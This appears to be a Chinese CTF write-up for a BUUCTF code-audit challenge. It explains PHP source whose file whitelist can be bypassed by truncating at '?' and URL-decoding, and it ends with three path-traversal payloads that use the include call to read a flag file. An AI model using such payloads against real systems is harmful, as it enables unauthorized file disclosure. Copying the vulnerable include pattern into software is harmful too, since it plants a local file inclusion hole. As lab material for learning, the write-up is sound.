目录
BUUCTF:BUUCTF在线评测
一道代码审计题
基础知识
①mb_substr()函数
②mb_strpos()函数
查找字符串在另一个字符串中首次出现的位置,没匹配到则返回字符串长度
③in_array()函数
解题步骤
打开靶场是一个大滑稽
F12发现提示
我们就去访问source.php,看到源码
代码审计,见详见注释
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];//白名单
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false; //没有设置$page或者$page不是字符型返回false
}
if (in_array($page, $whitelist)) { //in_array()检查数组中是否存在某个值
return true; //验证输入的是否为白名单内容,是source或者hint则返回真
}
//mb_substr()返回字符串的一部分
//mb_strpos查找字符串在另一个字符串中首次出现的位置,没匹配到则返回字符串长度
//mb_strpos返回$page里?出现的第一个位置
//mb_substr截取?前内容,无?则全部获取
$_page = mb_substr($page,0,mb_strpos($page . '?', '?'));
if (in_array($_page, $whitelist)) {
return true; //如果$_page在白名单里则返回true
}
$_page = urldecode($page); //对$page进行url解码
$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));
//解码后,再次截取?前的字符
if (in_array($_page, $whitelist)) {
return true; //第三次白名单验证
}
echo "you can't see it";
return false;
}
}
//主函数
if (! empty($_REQUEST['file'])
//empty()用于检查一个变量是否为空,file不能为空,我们要传入一个file参数
&& is_string($_REQUEST['file']) //判断是否为string类型
&& emmm::checkFile($_REQUEST['file']) //调用checkFile,检测是否过白名单
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
在白名单中发现有个hint.php,访问一下
分析源码后,我们理清楚绕过流程:
①第一次白名单检测:source.php在$page中,返回真。
②第二次白名单检测:截取后还是file=source.php%3F%2F..%2F..%2F..%2F..%2Fffffllllaaaagggg。
③第三次白名单检测:url解码后为source.php?file=source.php?/../../../../ffffllllaaaagggg,截取后为source.php,绕过第三次白名单检测。
payload
①source.php?file=source.php%3F%2F..%2F..%2F..%2F..%2Fffffllllaaaagggg
②source.php?file=hint.php%3F%2F..%2F..%2F..%2F..%2Fffffllllaaaagggg
③source.php?file=source.php?/../../../../ffffllllaaaagggg
三种都可以